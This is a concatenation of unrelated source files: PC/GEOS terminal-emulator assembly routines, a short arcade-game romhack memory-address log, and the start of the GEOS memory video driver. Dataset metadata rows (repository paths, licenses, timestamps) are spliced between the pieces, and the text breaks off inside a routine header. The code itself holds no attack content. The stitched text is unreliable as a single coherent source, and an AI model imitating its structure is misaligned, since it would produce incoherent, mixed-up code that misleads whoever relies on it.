%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sends current cursor position back to host
CALLED BY: MSG_SCR_RESPOND_CURSOR_POSITION
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
For all terminal types:
Arg 0 is the column (1-based)
Arg 1 is row (1-based)
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/18/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
vt100CursorPosReply char C_ESCAPE, "[%0;%1R", C_NULL
nullCursorPosReply char C_NULL
termCursorReplies word \
offset nullCursorPosReply, ; TTY
offset nullCursorPosReply, ; VT52
offset vt100CursorPosReply, ; VT100
offset nullCursorPosReply, ; WYSE50
offset nullCursorPosReply, ; ANSI
offset nullCursorPosReply, ; IBM3101
offset nullCursorPosReply ; TVI950
ScreenRespondCursorPosition method dynamic ScreenClass,
MSG_SCR_RESPOND_CURSOR_POSITION
.enter
;
; Load Col, Row into arg registers
;
mov al, {byte}ds:[di].SI_curLine
mov ah, {byte}ds:[di].SI_curChar
inc al
inc ah
;
; Load up cursor position reply template for current terminal
; type
;
segmov ds, cs, bx
GetResourceSegmentNS dgroup, es, TRASH_BX
mov bl, es:[termType]
clr bh
shl bx, 1
mov si, ds:termCursorReplies[bx] ; ds:si <- reply template
;
; And spit out the reply
;
call SendResponse
.leave
ret
ScreenRespondCursorPosition endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendResponse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sends a string to the host, inserting numeric
arguments as needed.
CALLED BY:
PASS: ds:si = template buffer to send (null terminated)
%0 - %7 = insert n'th argument
as ascii decimal
al,ah,bl,bh,cl,ch,dl,ch = args 0-7
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/18/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendResponse proc near
uses ax,bx,cx,dx,si,di
SEND_RESPONSE_BUF_SIZE equ 20
SEND_MAX_ARG_SIZE equ 4
argsArray local 8 dup (byte)
sendBuf local SEND_RESPONSE_BUF_SIZE dup (char)
.enter
;
; Load args into arg array
;
mov {word}ss:argsArray[0], ax
mov {word}ss:argsArray[2], bx
mov {word}ss:argsArray[4], cx
mov {word}ss:argsArray[6], dx
;
; Set up to start stuffing the template into the send buffer
;
clr cx ; cx = chars in output buf
segmov es, ss, ax
lea di, sendBuf ; es:di = next pos in output
stuffLoop:
lodsb ; al = template char
tst al
jz endLoop
cmp al, '%'
je handleEsc
;
; Copy char from template to output
;
stosb
inc cx
jmp next
handleEsc:
;
; Insert argument N in output
;
lodsb ; al = N (ascii)
sub al, '0'
Assert_urange al, 0, 7
clr dx
mov bh, dl ; bx = N
mov bl, al
xchg bx, di
mov ah, dl
mov al, ss:argsArray[di] ; dx.ax = dword arg
xchg bx, di
push cx
clr cx ; no leading zeros, null
call UtilHex32ToAscii ; cx = length
EC < cmp cx, SEND_MAX_ARG_SIZE >
EC < ERROR_A TERM_RESPONSE_ARGUMENT_TOO_LONG >
mov_tr ax, cx
add di, ax
pop cx
add cx, ax
next:
;
; send buffer full?
;
cmp cx, SEND_RESPONSE_BUF_SIZE-SEND_MAX_ARG_SIZE
jle stuffLoop
call sendBuffer
jmp stuffLoop
endLoop:
call sendBuffer
.leave
ret
;
; PASS: cx = # chars to send from sendBuf
; es = segment sendBuf (ss)
;
; Return: cx = 0, di = reset to offset sendBuf
;
sendBuffer label near
lea di, sendBuf ; reset output to beginning
jcxz sbExit
push ds, si
segmov ds, ss, si
mov si, di ; es:si = buffer
CallMod SendBuffer
pop ds, si ; ds:si = template
clr cx ; reset buffer to nothing
sbExit:
ret
SendResponse endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenResetMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: To reset the modes like ANSI/VT52, Cursor key mode, etc
CALLED BY: MSG_SCR_RESET_MODE
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
ch = TermVTModeType
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Find out which mode flags to set/reset in tables indexed by
TermType and TermMode
Get the argument (which mode to reset);
Set/Clear the internal flag according to the mode;
This was written with VT100 in mind. In particular, it
assumes that the terminal mode values are fairly dense,
and that "Set" means "turn the corresponding flag ON"
When adding new terminal types, if this doesn't serve
your purposes, feel free to change it.
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 2/23/96 Initial version
cthomas 4/2/96 rewrote to be table-driven
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiddleInstanceParams struct
DIP_mode word ; mode enum
DIP_offset word ; instance data field offset
DIP_set word ; bits to set/clear
DiddleInstanceParams ends
ScreenResetMode method dynamic ScreenClass,
MSG_SCR_SET_MODE,
MSG_SCR_RESET_MODE
.enter
GetResourceSegmentNS dgroup, es, TRASH_BX
;
; Find the mode flag table for the current terminal emulation
;
mov bl, es:[termType]
clr bh
shl bx, 1
mov bx, cs:[vtModeTables][bx] ; cs:bx = mode table for term
tst bx
EC < WARNING_Z TERM_FUNCTION_NOT_SUPPORTED >
jz done
;
; Get the mode flags that correspond to the mode to set/reset
;
clr cl
xchg ch, cl ; cx <- Mode type
mov dx, cs:[bx-(size word)]
xchg cx, dx ; cx <- list length
; dx <- mode
jcxz done
mov si, bx
modeLoop:
cmp dx, cs:[si].DIP_mode
jne next
;
; Found an entry for this mode. Diddle the instance data.
;
mov bx, cs:[si].DIP_offset
mov bp, cs:[si].DIP_set
;
; Set / reset the mode flags as appropriate
;
cmp ax, MSG_SCR_RESET_MODE
je reset
ornf ds:[di][bx], bp
jmp next
reset:
not bp
andnf ds:[di][bx], bp
next:
add si, size DiddleInstanceParams
loop modeLoop
done:
.leave
ret
ScreenResetMode endm
.warn -private
vtModeTables nptr.DiddleInstanceParams \
0, ; TTY
0, ; VT50
offset vt100ModeTable, ; VT100
0, ; WYSE50
0, ; ANSI
0, ; IBM3101
0 ; TVI950
CheckHack <length vtModeTables eq Terminals>
;
; These ModeTables map a mode enumeration to mode flags that should
; be turned on/off when the mode is set & reset. The word before
; each table is the length of the table. Don't separate them!
;
vt100ModeTableLength word length vt100ModeTable
vt100ModeTable DiddleInstanceParams \
<TVTMT_CURSOR_KEY, SI_modeFlags, mask SVTMF_CURSOR_KEY>,
<TVTMT_ANSI_VT52, SI_modeFlags, mask SVTMF_ANSI_VT52>,
<TVTMT_COLUMN, SI_modeFlags, mask SVTMF_COLUMN>,
<TVTMT_SCROLLING, SI_modeFlags, mask SVTMF_SCROLLING>,
<TVTMT_SCREEN, SI_modeFlags, mask SVTMF_SCREEN>,
<TVTMT_ORIGIN, SI_modeFlags, mask SVTMF_ORIGIN>,
<TVTMT_WRAPAROUND, SI_autoWrap, BB_TRUE>,
<TVTMT_LINEFEED, SI_modeFlags, mask SVTMF_LF_NEWLINE>,
<TVTMT_INTERLACE, SI_modeFlags, mask SVTMF_INTERLACE>,
<TVTMT_AUTO_REPEAT, SI_modeFlags, mask SVTMF_AUTO_REPEAT>
.warn @private
EmulationCode ends
if _CHAR_SET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSelectG0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Select character set designator to G0
CALLED BY: MSG_SCR_SELECT_G0
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSelectG0 method dynamic ScreenClass,
MSG_SCR_SELECT_G0
.enter
mov ds:[di][SI_charSetDesignator], CSD_G0
;
; See what character set G0 is having and set attr according
;
cmp ds:[di][SI_G0CharSet], TCS_GRAPHICS
je graphics ; set graphics char
EC < cmp ds:[di][SI_G0CharSet], TCS_USASCII >
EC < ERROR_NE TERM_INVALID_CHARACTER_SET >
;
; Set non-graphics font
;
call ScreenSetUSASCIICommon
jmp exit
graphics:
;
; Set graphics font
;
call ScreenSetGraphicsCommon
exit:
.leave
ret
ScreenSelectG0 endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSelectG1
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Select character set designator to G1
CALLED BY: MSG_SCR_SELECT_G1
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSelectG1 method dynamic ScreenClass,
MSG_SCR_SELECT_G1
.enter
mov ds:[di][SI_charSetDesignator], CSD_G1
;
; See what character set G1 is having and set attr according
;
cmp ds:[di][SI_G1CharSet], TCS_GRAPHICS
je graphics ; set graphics char
EC < cmp ds:[di][SI_G1CharSet], TCS_USASCII >
EC < ERROR_NE TERM_INVALID_CHARACTER_SET >
;
; Set non-graphics font
;
call ScreenSetUSASCIICommon
jmp exit
graphics:
;
; Set graphics font
;
call ScreenSetGraphicsCommon
exit:
.leave
ret
ScreenSelectG1 endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenG0SelectUSASCII
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Choose USASCII character set for G0
CALLED BY: MSG_SCR_G0_SELECT_USASCII
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenG0SelectUSASCII method ScreenClass,
MSG_SCR_G0_SELECT_USASCII
.enter
mov ds:[di][SI_G0CharSet], TCS_USASCII
;
; If we are in G1, ignore
;
CheckHack <CSD_G0 eq 0> ; assuming G0 is 0
tst ds:[di][SI_charSetDesignator]
jnz exit
call ScreenSetUSASCIICommon
exit:
.leave
ret
ScreenG0SelectUSASCII endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenG0SelectGraphics
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Choose Special graphics character set for G0
CALLED BY: MSG_SCR_G0_SELECT_GRAPHICS
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenG0SelectGraphics method dynamic ScreenClass,
MSG_SCR_G0_SELECT_GRAPHICS
.enter
mov ds:[di][SI_G0CharSet], TCS_GRAPHICS
;
; Check if we are in G1. If so, ignore
;
tst ds:[di][SI_charSetDesignator]
jnz exit
call ScreenSetGraphicsCommon
exit:
.leave
ret
ScreenG0SelectGraphics endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenG1SelectUSASCII
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Choose USASCII character set for G1
CALLED BY: MSG_SCR_G1_SELECT_USASCII
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenG1SelectUSASCII method ScreenClass,
MSG_SCR_G1_SELECT_USASCII
.enter
mov ds:[di][SI_G1CharSet], TCS_USASCII
;
; Check if we are in G1. If not, ignore chaging char attr
;
tst ds:[di][SI_charSetDesignator]
jz exit ; G0, ignore
call ScreenSetUSASCIICommon
exit:
.leave
ret
ScreenG1SelectUSASCII endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenG1SelectGraphics
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Choose Special graphics character set for G1
CALLED BY: MSG_SCR_G1_SELECT_GRAPHICS
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenG1SelectGraphics method dynamic ScreenClass,
MSG_SCR_G1_SELECT_GRAPHICS
.enter
mov ds:[di][SI_G1CharSet], TCS_GRAPHICS
;
; If we are in G1, change the attr so that information can be stored.
;
tst ds:[di][SI_charSetDesignator]
jz exit ; G0, ignore
call ScreenSetGraphicsCommon
exit:
.leave
ret
ScreenG1SelectGraphics endm
endif ; if _CHAR_SET
| 25.84877 | 84 | 0.592558 |
98d4f1bde76f4e68f5f71dd46406cec22ac4a22d | 452 | asm | Assembly | wof/lcs/123p/6C.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | wof/lcs/123p/6C.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | wof/lcs/123p/6C.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
00249A move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
0024B6 move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
0024E8 move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
00250A move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
007A54 btst #$5, ($30,A1) [123p+ 6C, enemy+6C]
008F4C beq $8e58 [123p+ 6C]
01A74C dbra D7, $1a74a
01A75E dbra D4, $1a75c
copyright zengfr site:http://github.com/zengfr/romhack
| 34.769231 | 54 | 0.626106 |
322a06e6d9e59a00ae1b2ff168568992cbdb8777 | 16,763 | asm | Assembly | Driver/Video/Dumb/VidMem/Main/mainMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Video/Dumb/VidMem/Main/mainMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Video/Dumb/VidMem/Main/mainMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Memory video drivers
FILE: mainMain.asm
AUTHOR: Jim DeFrisco
ROUTINES:
Name Description
---- -----------
DriverStrategy entry point to driver
VidStartExclusive Enter into exclusive use
VidEndExclusive Finished with exclusive use
VidInfo Return address of info block
VidEscape Generalized escape function
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 5/88 initial verison
jim 8/89 moved into mem module for special modifications
DESCRIPTION:
This file contains the entry point routine for the video drivers.
$Id: mainMain.asm,v 1.1 97/04/18 11:42:43 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DriverStrategy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Entry point for vidmem calls
CALLED BY: KERNEL
PASS: [di] - offset into driver function table
RETURN: see individual routines
DESTROYED: depends on routine called
PSEUDO CODE/STRATEGY:
call function thru the jump table
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/88... Initial version of strategy routine
Jim 10/88 Modified for video drivers
Jim 5/89 Modified to add escape capability
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DriverStrategy proc far
; this is really simple, folks. The REAL DriverStrategy
; routine (well, the one you normally see for video drivers)
; is executed in each individual module of vidmem. So there
; is one for Mono, one for Color4, etc. But many of the normal
; driver functions are NULL for vidmem (pointer, save-under...)
; so they are handled locally. Basically, all we do here is
; either call into one of the modules or call a local routine.
; yawn.
; Of course, we also need to deal with escape codes. So check
; that first.
tst di
js handleEscape
call cs:driverJumpTable[di]
done:
ret
handleEscape:
call VidEscape ; ESC function handler
jmp done
DriverStrategy endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidCallMod
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Prepare to call into one of the main modules (Mono, etc)
CALLED BY: INTERNAL
DriverStrategy
PASS: di - function number
es - window structure
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
save necc variables, call into other module.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidCallMod proc near
; first, save away ax/bx since they are trashed by CallMod
mov ss:[TPD_dataAX], ax ; trashed by CallMod
mov ss:[TPD_dataBX], bx
; find out what type of bitmap it is, then call the appropriate
; module's entry point
push ds ; save segreg
EC < tst es:[W_bmSegment] ; if zero, hosed >
EC < ERROR_Z VIDMEM_HUGE_ARRAY_PROBLEM >
mov ds, es:[W_bmSegment] ; get bitmap segment
mov bx, offset EB_bm ; ds:bx -> bitmap
mov bl, ds:[bx].B_type ; get color info
mov ax, ds:[EB_flags] ; grab edit mask flag
pop ds
and bx, mask BMT_FORMAT ; isolate type bits
shl bx, 1 ; dword table
shl bx, 1
; if we're going to edit the mask, then we need to do a
; bit different work
push es:[LMBH_handle] ; save win blk handle
test ax, mask BM_EDIT_MASK
jnz editMask
mov ax, cs:[colorModTable][bx].offset ; grab pointer
mov bx, cs:[colorModTable][bx].segment
;
; if bx = 0, that means this module is not supported. So
; we don't do anything.
;
tst bx
jz done
call ProcCallFixedOrMovable
done:
mov ss:[TPD_dataBX], bx ; save bx return val
pop bx ; restore win blk han
call MemDerefES ; es -> window
mov bx, ss:[TPD_dataBX] ; restore bx return val
ret
; OK, we want to edit just the mask part of the bitmap. That
; means that we want to use the Mono module, but we need to
; get some information from the module that the bitmap
; naturally would go to (to have the picture part edited).
editMask:
mov ax, cs:[maskInfoTable][bx].offset ; get pointer
mov bx, cs:[maskInfoTable][bx].segment
;
; if bx = 0, that means this module is not supported. So
; we don't do anything.
;
tst bx
jz done
call ProcCallFixedOrMovable
call MonoEditMask ; always use mono mod
jmp done
VidCallMod endp
colorModTable label fptr
if _MONO
fptr Mono:MonoEntry ; mono bitmap
else
fptr 0 ; not supported
endif ; if _MONO
if _4BIT
fptr Clr4:Clr4Entry ; 4-bit bitmap
else
fptr 0 ; not supported
endif ; if _4BIT
if _8BIT
fptr Clr8:Clr8Entry ; 8-bit bitmap
else
fptr 0 ; not supported
endif ; if _8BIT
if _24BIT
fptr Clr24:Clr24Entry ; 24-bit bitmap
else
fptr 0 ; not supported
endif ; if _24BIT
if _CMYK
fptr cmykcode:CMYKEntry ; CMYK bitmap
fptr cmykcode:CMYKEntry ; CMY bitmap
else
fptr 0 ; not supported
fptr 0 ; not supported
endif ; if _CMYK
maskInfoTable label fptr
if _MONO
fptr Mono:MonoMaskInfo
else
fptr 0 ; not supported
endif ; if _MONO
if _4BIT
fptr Clr4:Clr4MaskInfo
else
fptr 0 ; not supported
endif ; if _4BIT
if _8BIT
fptr Clr8:Clr8MaskInfo
else
fptr 0 ; not supported
endif ; if _8BIT
if _24BIT
; fptr Clr24:Clr24MaskInfo ; re-enable this when
fptr Clr24:Clr24Entry ; 24-bit implemented
else
fptr 0 ; not supported
endif ; if _24BIT
if _CMYK
fptr cmykcode:CMYKMaskInfo
fptr cmykcode:CMYKMaskInfo ; 3CMY bitmap
else
fptr 0 ; not supported
fptr 0 ; not supported
endif ; if _CMYK
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VideoNull
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: A null routine that takes the place of many non-implemented
functions in vidmem
CALLED BY: DriverStrategy (GLOBAL)
PASS: various, depends on routine
RETURN: carry clear
cx clear (Set/Test device would like this)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
just clear the carry, since a few routines use that to signal
all is ok.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 11/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VideoNull proc near
clr cx
VideoNullCLCOnly label near
clc
ret
VideoNull endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VideoNullSet
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: A null routine that takes the place of many non-implemented
functions in vidmem that requires carry set on exit
CALLED BY: DriverStrategy (GLOBAL)
PASS: various, depends on routine
RETURN: set clear
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 11/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VideoNullSet proc near
stc
ret
VideoNullSet endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialization routine for the driver. Called when driver is
loaded, or when a new memory space is allocated to be drawn
to.
CALLED BY: GLOBAL
PASS: nothing
RETURN: carry clear - no errors possible
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
nothing for this driver;
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 07/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidInit proc near
; A hack for logging -- don't discard the Mono resource if logging is
; on since that is where the log is kept (a hack, but it was quick)
ifdef LOGGING
push ax, bx, dx
mov bx, handle Mono
mov ah, MODIFY_FLAGS
clr dl
mov dh, mask HF_DISCARDABLE ;make not discardable
call MemModify
pop ax, bx, dx
endif
clc ; return no error
ret
VidInit endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return a pointer to the driver info block
CALLED BY: GLOBAL
PASS: es - locked window segment
RETURN: dx:si - pointer to DriverInfo block
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Look up the bitmap segment in the window structure, then
find the right offset (stored in the bitmap header)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 05/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidInfo proc near
uses ax, ds
.enter
mov ds, es:[W_bmSegment] ; get segment of bitmap
mov dx, ds ; this is where we return in
mov ax, ds:[EB_flags] ; get edit-mask flag
mov si, offset EB_bm ; bump past dir header
mov ah, ds:[si].B_type ; grab type of bitmap
add si, ds:[si][CB_devInfo] ; get offset to device info
and ah, mask BMT_FORMAT ; isolate color format
mov ds:[si].VDI_bmFormat, ah ; assume NOT editing mask
test al, mask BM_EDIT_MASK ; see if editing mask
jnz editingMask
done:
.leave
ret
; we're editing the bitmap mask. Alter some info in the buffer
editingMask:
mov ds:[si].VDI_bmFormat, BMF_MONO
jmp done
VidInfo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidSetPalette
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set some palette regs for bitmap
CALLED BY: GLOBAL
PASS: es - Window segment
dx:si - fptr to array of RGBValues
al - palette register to start with
ah - 0 = custom palette
1 = default palette
cx - count of palette registers to change
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 11/16/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
